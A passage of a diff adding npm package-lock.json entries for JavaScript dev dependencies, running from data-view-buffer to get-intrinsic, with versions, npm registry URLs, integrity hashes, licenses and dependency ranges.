+ "resolved": "https://registry.npmjs.org/data-view-buffer/-/data-view-buffer-1.0.2.tgz",
+ "integrity": "sha512-EmKO5V3OLXh1rtK2wgXRansaK1/mtVdTUEiEI0W8RkvgT05kfxaH29PliLnpLP73yYO6142Q72QNa8Wx/A5CqQ==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "call-bound": "^1.0.3",
+ "es-errors": "^1.3.0",
+ "is-data-view": "^1.0.2"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/data-view-byte-length": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/data-view-byte-length/-/data-view-byte-length-1.0.2.tgz",
+ "integrity": "sha512-tuhGbE6CfTM9+5ANGf+oQb72Ky/0+s3xKUpHvShfiz2RxMFgFPjsXuRLBVMtvMs15awe45SRb83D6wH4ew6wlQ==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "call-bound": "^1.0.3",
+ "es-errors": "^1.3.0",
+ "is-data-view": "^1.0.2"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/inspect-js"
+ }
+ },
+ "node_modules/data-view-byte-offset": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/data-view-byte-offset/-/data-view-byte-offset-1.0.1.tgz",
+ "integrity": "sha512-BS8PfmtDGnrgYdOonGZQdLZslWIeCGFP9tpan0hi1Co2Zr2NKADsvGYA8XxuG/4UWgJ6Cjtv+YJnB6MM69QGlQ==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "call-bound": "^1.0.2",
+ "es-errors": "^1.3.0",
+ "is-data-view": "^1.0.1"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/debug": {
+ "version": "4.4.3",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
+ "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "ms": "^2.1.3"
+ },
+ "engines": {
+ "node": ">=6.0"
+ },
+ "peerDependenciesMeta": {
+ "supports-color": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/defaults": {
+ "version": "1.0.4",
+ "resolved": "https://registry.npmjs.org/defaults/-/defaults-1.0.4.tgz",
+ "integrity": "sha512-eFuaLoy/Rxalv2kr+lqMlUnrDWV+3j4pljOIJgLIhI058IQfWJ7vXhyEIHu+HtC738klGALYxOKDO0bQP3tg8A==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "clone": "^1.0.2"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/define-data-property": {
+ "version": "1.1.4",
+ "resolved": "https://registry.npmjs.org/define-data-property/-/define-data-property-1.1.4.tgz",
+ "integrity": "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "es-define-property": "^1.0.0",
+ "es-errors": "^1.3.0",
+ "gopd": "^1.0.1"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/define-properties": {
+ "version": "1.2.1",
+ "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.2.1.tgz",
+ "integrity": "sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "define-data-property": "^1.0.1",
+ "has-property-descriptors": "^1.0.0",
+ "object-keys": "^1.1.1"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/dependency-graph": {
+ "version": "0.11.0",
+ "resolved": "https://registry.npmjs.org/dependency-graph/-/dependency-graph-0.11.0.tgz",
+ "integrity": "sha512-JeMq7fEshyepOWDfcfHK06N3MhyPhz++vtqWhMT5O9A3K42rdsEDpfdVqjaqaAhsw6a+ZqeDvQVtD0hFHQWrzg==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">= 0.6.0"
+ }
+ },
+ "node_modules/diff": {
+ "version": "4.0.4",
+ "resolved": "https://registry.npmjs.org/diff/-/diff-4.0.4.tgz",
+ "integrity": "sha512-X07nttJQkwkfKfvTPG/KSnE2OMdcUCao6+eXF3wmnIQRn2aPAHH3VxDbDOdegkd6JbPsXqShpvEOHfAT+nCNwQ==",
+ "dev": true,
+ "license": "BSD-3-Clause",
+ "engines": {
+ "node": ">=0.3.1"
+ }
+ },
+ "node_modules/dir-glob": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/dir-glob/-/dir-glob-3.0.1.tgz",
+ "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "path-type": "^4.0.0"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/dot-case": {
+ "version": "3.0.4",
+ "resolved": "https://registry.npmjs.org/dot-case/-/dot-case-3.0.4.tgz",
+ "integrity": "sha512-Kv5nKlh6yRrdrGvxeJ2e5y2eRUpkUosIW4A2AS38zwSz27zu7ufDwQPi5Jhs3XAlGNetl3bmnGhQsMtkKJnj3w==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "no-case": "^3.0.4",
+ "tslib": "^2.0.3"
+ }
+ },
+ "node_modules/dot-case/node_modules/tslib": {
+ "version": "2.8.1",
+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz",
+ "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==",
+ "dev": true,
+ "license": "0BSD"
+ },
+ "node_modules/dunder-proto": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz",
+ "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "call-bind-apply-helpers": "^1.0.1",
+ "es-errors": "^1.3.0",
+ "gopd": "^1.2.0"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/ejs": {
+ "version": "3.1.10",
+ "resolved": "https://registry.npmjs.org/ejs/-/ejs-3.1.10.tgz",
+ "integrity": "sha512-UeJmFfOrAQS8OJWPZ4qtgHyWExa088/MtK5UEyoJGFH67cDEXkZSviOiKRCZ4Xij0zxI3JECgYs3oKx+AizQBA==",
+ "dev": true,
+ "license": "Apache-2.0",
+ "dependencies": {
+ "jake": "^10.8.5"
+ },
+ "bin": {
+ "ejs": "bin/cli.js"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/emoji-regex": {
+ "version": "8.0.0",
+ "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz",
+ "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/env-paths": {
+ "version": "2.2.1",
+ "resolved": "https://registry.npmjs.org/env-paths/-/env-paths-2.2.1.tgz",
+ "integrity": "sha512-+h1lkLKhZMTYjog1VEpJNG7NZJWcuc2DDk/qsqSTRRCOXiLjeQ1d1/udrUGhqMxUgAlwKNZ0cf2uqan5GLuS2A==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=6"
+ }
+ },
+ "node_modules/error-ex": {
+ "version": "1.3.4",
+ "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.4.tgz",
+ "integrity": "sha512-sqQamAnR14VgCr1A618A3sGrygcpK+HEbenA/HiEAkkUwcZIIB/tgWqHFxWgOyDh4nB4JCRimh79dR5Ywc9MDQ==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "is-arrayish": "^0.2.1"
+ }
+ },
+ "node_modules/es-abstract": {
+ "version": "1.24.2",
+ "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.24.2.tgz",
+ "integrity": "sha512-2FpH9Q5i2RRwyEP1AylXe6nYLR5OhaJTZwmlcP0dL/+JCbgg7yyEo/sEK6HeGZRf3dFpWwThaRHVApXSkW3xeg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "array-buffer-byte-length": "^1.0.2",
+ "arraybuffer.prototype.slice": "^1.0.4",
+ "available-typed-arrays": "^1.0.7",
+ "call-bind": "^1.0.8",
+ "call-bound": "^1.0.4",
+ "data-view-buffer": "^1.0.2",
+ "data-view-byte-length": "^1.0.2",
+ "data-view-byte-offset": "^1.0.1",
+ "es-define-property": "^1.0.1",
+ "es-errors": "^1.3.0",
+ "es-object-atoms": "^1.1.1",
+ "es-set-tostringtag": "^2.1.0",
+ "es-to-primitive": "^1.3.0",
+ "function.prototype.name": "^1.1.8",
+ "get-intrinsic": "^1.3.0",
+ "get-proto": "^1.0.1",
+ "get-symbol-description": "^1.1.0",
+ "globalthis": "^1.0.4",
+ "gopd": "^1.2.0",
+ "has-property-descriptors": "^1.0.2",
+ "has-proto": "^1.2.0",
+ "has-symbols": "^1.1.0",
+ "hasown": "^2.0.2",
+ "internal-slot": "^1.1.0",
+ "is-array-buffer": "^3.0.5",
+ "is-callable": "^1.2.7",
+ "is-data-view": "^1.0.2",
+ "is-negative-zero": "^2.0.3",
+ "is-regex": "^1.2.1",
+ "is-set": "^2.0.3",
+ "is-shared-array-buffer": "^1.0.4",
+ "is-string": "^1.1.1",
+ "is-typed-array": "^1.1.15",
+ "is-weakref": "^1.1.1",
+ "math-intrinsics": "^1.1.0",
+ "object-inspect": "^1.13.4",
+ "object-keys": "^1.1.1",
+ "object.assign": "^4.1.7",
+ "own-keys": "^1.0.1",
+ "regexp.prototype.flags": "^1.5.4",
+ "safe-array-concat": "^1.1.3",
+ "safe-push-apply": "^1.0.0",
+ "safe-regex-test": "^1.1.0",
+ "set-proto": "^1.0.0",
+ "stop-iteration-iterator": "^1.1.0",
+ "string.prototype.trim": "^1.2.10",
+ "string.prototype.trimend": "^1.0.9",
+ "string.prototype.trimstart": "^1.0.8",
+ "typed-array-buffer": "^1.0.3",
+ "typed-array-byte-length": "^1.0.3",
+ "typed-array-byte-offset": "^1.0.4",
+ "typed-array-length": "^1.0.7",
+ "unbox-primitive": "^1.1.0",
+ "which-typed-array": "^1.1.19"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/es-abstract-get": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/es-abstract-get/-/es-abstract-get-1.0.0.tgz",
+ "integrity": "sha512-6PMWXpdhshVvFp+FoWYs1EvG1Nj0tvk0dZM+XcK0xMEM1czRVcP6ohqPWHy6qPagSpC8j4+p89WXlT+xXJs/fg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "es-errors": "^1.3.0",
+ "es-object-atoms": "^1.1.2",
+ "is-callable": "^1.2.7",
+ "object-inspect": "^1.13.4"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/es-aggregate-error": {
+ "version": "1.0.14",
+ "resolved": "https://registry.npmjs.org/es-aggregate-error/-/es-aggregate-error-1.0.14.tgz",
+ "integrity": "sha512-3YxX6rVb07B5TV11AV5wsL7nQCHXNwoHPsQC8S4AmBiqYhyNCJ5BRKXkXyDJvs8QzXN20NgRtxe3dEEQD9NLHA==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "define-data-property": "^1.1.4",
+ "define-properties": "^1.2.1",
+ "es-abstract": "^1.24.0",
+ "es-errors": "^1.3.0",
+ "function-bind": "^1.1.2",
+ "globalthis": "^1.0.4",
+ "has-property-descriptors": "^1.0.2",
+ "set-function-name": "^2.0.2"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/es-define-property": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz",
+ "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/es-errors": {
+ "version": "1.3.0",
+ "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz",
+ "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/es-object-atoms": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.2.tgz",
+ "integrity": "sha512-HWcBoN6NileqtSydK2FqHbS/LoDd2pqrnQHLyJzBj4kOp/ky2MWMN694xOfkK8/SnUsW2DH7EfyVlydKCsm1Zw==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "es-errors": "^1.3.0"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/es-set-tostringtag": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz",
+ "integrity": "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "es-errors": "^1.3.0",
+ "get-intrinsic": "^1.2.6",
+ "has-tostringtag": "^1.0.2",
+ "hasown": "^2.0.2"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/es-to-primitive": {
+ "version": "1.3.4",
+ "resolved": "https://registry.npmjs.org/es-to-primitive/-/es-to-primitive-1.3.4.tgz",
+ "integrity": "sha512-yPDz7wqpg1/mmHLmS3tcfTfbw5f1eryXvyghYBffGdERwe+mV7ZcWzTR8LR17Kvqt3qfPurjlonmnq3MKXIOXw==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "es-abstract-get": "^1.0.0",
+ "es-define-property": "^1.0.1",
+ "es-errors": "^1.3.0",
+ "is-callable": "^1.2.7",
+ "is-date-object": "^1.1.0",
+ "is-symbol": "^1.1.1"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/escalade": {
+ "version": "3.2.0",
+ "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz",
+ "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=6"
+ }
+ },
+ "node_modules/escape-string-regexp": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz",
+ "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/esprima": {
+ "version": "4.0.1",
+ "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz",
+ "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==",
+ "dev": true,
+ "license": "BSD-2-Clause",
+ "bin": {
+ "esparse": "bin/esparse.js",
+ "esvalidate": "bin/esvalidate.js"
+ },
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/events": {
+ "version": "3.3.0",
+ "resolved": "https://registry.npmjs.org/events/-/events-3.3.0.tgz",
+ "integrity": "sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=0.8.x"
+ }
+ },
+ "node_modules/expr-eval-fork": {
+ "version": "3.0.3",
+ "resolved": "https://registry.npmjs.org/expr-eval-fork/-/expr-eval-fork-3.0.3.tgz",
+ "integrity": "sha512-BhC+hbc5lIVjygr840n5DEkW3MQq7H9o+mc1/N7Z5uIiCFVyESLL5DIE7LNq4CYUNxy+XjA+3jRrL/h0Kt2xcg==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=16.9.0"
+ }
+ },
+ "node_modules/fast-deep-equal": {
+ "version": "3.1.3",
+ "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz",
+ "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/fast-glob": {
+ "version": "3.3.3",
+ "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.3.tgz",
+ "integrity": "sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@nodelib/fs.stat": "^2.0.2",
+ "@nodelib/fs.walk": "^1.2.3",
+ "glob-parent": "^5.1.2",
+ "merge2": "^1.3.0",
+ "micromatch": "^4.0.8"
+ },
+ "engines": {
+ "node": ">=8.6.0"
+ }
+ },
+ "node_modules/fast-json-stable-stringify": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz",
+ "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/fast-memoize": {
+ "version": "2.5.2",
+ "resolved": "https://registry.npmjs.org/fast-memoize/-/fast-memoize-2.5.2.tgz",
+ "integrity": "sha512-Ue0LwpDYErFbmNnZSF0UH6eImUwDmogUO1jyE+JbN2gsQz/jICm1Ve7t9QT0rNSsfJt+Hs4/S3GnsDVjL4HVrw==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/fast-uri": {
+ "version": "3.1.4",
+ "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-3.1.4.tgz",
+ "integrity": "sha512-8JnbkQ4juDyvYs4mgFGQqg4yCYtFDtUtmp2QIQq11ZZe5CFQ5wcqm1rqDgAh/QdMySuBnPzMUiJUNZG5N/AiQw==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/fastify"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/fastify"
+ }
+ ],
+ "license": "BSD-3-Clause"
+ },
+ "node_modules/fast-xml-builder": {
+ "version": "1.3.0",
+ "resolved": "https://registry.npmjs.org/fast-xml-builder/-/fast-xml-builder-1.3.0.tgz",
+ "integrity": "sha512-F74cZEdCvuw9P41GAC3rod4X04jjWGM1JPEv/GWSqFTWLsdyMSBMBMlm9Hk3GLBgLBbdBNY8yee0pQh2RBVESQ==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/NaturalIntelligence"
+ }
+ ],
+ "license": "MIT",
+ "dependencies": {
+ "path-expression-matcher": "^1.6.2",
+ "xml-naming": "^0.3.0"
+ }
+ },
+ "node_modules/fast-xml-parser": {
+ "version": "5.10.1",
+ "resolved": "https://registry.npmjs.org/fast-xml-parser/-/fast-xml-parser-5.10.1.tgz",
+ "integrity": "sha512-IEMIf7298kXuZSRFoGfMYrl7is8LpavODgbNz1cwIudv7KwVFnuU+UsMporfq6PD6aXSlawZlARiA3UywCTfMw==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/NaturalIntelligence"
+ }
+ ],
+ "license": "MIT",
+ "dependencies": {
+ "@nodable/entities": "^3.0.0",
+ "fast-xml-builder": "^1.2.0",
+ "is-unsafe": "^2.0.0",
+ "path-expression-matcher": "^1.6.2",
+ "strnum": "^2.4.1",
+ "xml-naming": "^0.3.0"
+ },
+ "bin": {
+ "fxparser": "src/cli/cli.js"
+ }
+ },
+ "node_modules/fastq": {
+ "version": "1.20.1",
+ "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.20.1.tgz",
+ "integrity": "sha512-GGToxJ/w1x32s/D2EKND7kTil4n8OVk/9mycTc4VDza13lOvpUZTGX3mFSCtV9ksdGBVzvsyAVLM6mHFThxXxw==",
+ "dev": true,
+ "license": "ISC",
+ "dependencies": {
+ "reusify": "^1.0.4"
+ }
+ },
+ "node_modules/figures": {
+ "version": "3.2.0",
+ "resolved": "https://registry.npmjs.org/figures/-/figures-3.2.0.tgz",
+ "integrity": "sha512-yaduQFRKLXYOGgEn6AZau90j3ggSOyiqXU0F9JZfeXYhNa+Jk4X+s45A2zg5jns87GAFa34BBm2kXw4XpNcbdg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "escape-string-regexp": "^1.0.5"
+ },
+ "engines": {
+ "node": ">=8"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/figures/node_modules/escape-string-regexp": {
+ "version": "1.0.5",
+ "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz",
+ "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=0.8.0"
+ }
+ },
+ "node_modules/filelist": {
+ "version": "1.0.6",
+ "resolved": "https://registry.npmjs.org/filelist/-/filelist-1.0.6.tgz",
+ "integrity": "sha512-5giy2PkLYY1cP39p17Ech+2xlpTRL9HLspOfEgm0L6CwBXBTgsK5ou0JtzYuepxkaQ/tvhCFIJ5uXo0OrM2DxA==",
+ "dev": true,
+ "license": "Apache-2.0",
+ "dependencies": {
+ "minimatch": "^5.0.1"
+ }
+ },
+ "node_modules/filelist/node_modules/minimatch": {
+ "version": "5.1.9",
+ "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-5.1.9.tgz",
+ "integrity": "sha512-7o1wEA2RyMP7Iu7GNba9vc0RWWGACJOCZBJX2GJWip0ikV+wcOsgVuY9uE8CPiyQhkGFSlhuSkZPavN7u1c2Fw==",
+ "dev": true,
+ "license": "ISC",
+ "dependencies": {
+ "brace-expansion": "^2.0.1"
+ },
+ "engines": {
+ "node": ">=10"
+ }
+ },
+ "node_modules/fill-range": {
+ "version": "7.1.1",
+ "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz",
+ "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "to-regex-range": "^5.0.1"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/for-each": {
+ "version": "0.3.5",
+ "resolved": "https://registry.npmjs.org/for-each/-/for-each-0.3.5.tgz",
+ "integrity": "sha512-dKx12eRCVIzqCxFGplyFKJMPvLEWgmNtUrpTiJIR5u97zEhRG8ySrtboPHZXx7daLxQVrl643cTzbab2tkQjxg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "is-callable": "^1.2.7"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/fs-extra": {
+ "version": "8.1.0",
+ "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-8.1.0.tgz",
+ "integrity": "sha512-yhlQgA6mnOJUKOsRUFsgJdQCvkKhcz8tlZG5HBQfReYZy46OwLcY+Zia0mtdHsOo9y/hP+CxMN0TU9QxoOtG4g==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "graceful-fs": "^4.2.0",
+ "jsonfile": "^4.0.0",
+ "universalify": "^0.1.0"
+ },
+ "engines": {
+ "node": ">=6 <7 || >=8"
+ }
+ },
+ "node_modules/fs.realpath": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz",
+ "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==",
+ "dev": true,
+ "license": "ISC"
+ },
+ "node_modules/function-bind": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz",
+ "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==",
+ "dev": true,
+ "license": "MIT",
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/function.prototype.name": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/function.prototype.name/-/function.prototype.name-1.2.0.tgz",
+ "integrity": "sha512-jObKIik1P2QjPHP5nz5BaOtUlfgS0fWo8IUByNXkM+o+02sJOi94em77GwJKQSJ3gfPHdgzLNrHc1uokV4P/ew==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "call-bind": "^1.0.9",
+ "call-bound": "^1.0.4",
+ "es-define-property": "^1.0.1",
+ "es-errors": "^1.3.0",
+ "functions-have-names": "^1.2.3",
+ "has-property-descriptors": "^1.0.2",
+ "hasown": "^2.0.4",
+ "is-callable": "^1.2.7",
+ "is-document.all": "^1.0.0"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/functions-have-names": {
+ "version": "1.2.3",
+ "resolved": "https://registry.npmjs.org/functions-have-names/-/functions-have-names-1.2.3.tgz",
+ "integrity": "sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ==",
+ "dev": true,
+ "license": "MIT",
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/generator-function": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/generator-function/-/generator-function-2.0.1.tgz",
+ "integrity": "sha512-SFdFmIJi+ybC0vjlHN0ZGVGHc3lgE0DxPAT0djjVg+kjOnSqclqmj0KQ7ykTOLP6YxoqOvuAODGdcHJn+43q3g==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/get-caller-file": {
+ "version": "2.0.5",
+ "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz",
+ "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==",
+ "dev": true,
+ "license": "ISC",
+ "engines": {
+ "node": "6.* || 8.* || >= 10.*"
+ }
+ },
+ "node_modules/get-intrinsic": {
+ "version": "1.3.0",
+ "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz",
+ "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "call-bind-apply-helpers": "^1.0.2",
+ "es-define-property": "^1.0.1",
+ "es-errors": "^1.3.0",
